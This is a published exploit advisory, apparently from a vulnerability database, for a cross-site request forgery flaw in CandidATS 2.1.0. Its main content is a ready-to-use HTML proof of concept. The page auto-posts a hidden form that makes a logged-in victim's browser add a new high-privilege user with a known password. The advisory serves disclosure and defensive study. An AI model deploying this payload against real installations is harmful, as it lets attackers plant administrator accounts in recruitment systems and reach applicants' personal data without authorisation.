CandidATS 2.1.0 Cross-Site Request Forgery (Add Admin)

2020.03.04
Credit: J3rryBl4nks
Risk: Low
Local: No
Remote: No
CVE: N/A
CWE: CWE-352

# Title: CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin) # Date: 2020-02-21 # Exploit Author: J3rryBl4nks # Vendor Homepage: https://sourceforge.net/u/auieo/profile/ # Software Link: https://sourceforge.net/projects/candidats/files/#Version 2.1.0 # Tested on Ubuntu 19/Kali Rolling # The Candid ATS Web application is vulnerable to CSRF to add a new admin user: #CSRF Proof of Concept: <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://HOSTNAME/Candid/index.php?m=settings&a=addUser" method="POST"> <input type="hidden" name="postback" value="postback" /> <input type="hidden" name="role" value="none" /> <input type="hidden" name="firstName" value="Test" /> <input type="hidden" name="lastName" value="User" /> <input type="hidden" name="email" value="test&#64;test&#46;com" /> <input type="hidden" name="username" value="Test" /> <input type="hidden" name="password" value="password" /> <input type="hidden" name="retypePassword" value="password" /> <input type="hidden" name="roleid" value="2" /> <input type="hidden" name="accessLevel" value="500" /> <input type="hidden" name="submit" value="Add&#32;User" /> <input type="submit" value="Submit request" /> </form> </body> </html>


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top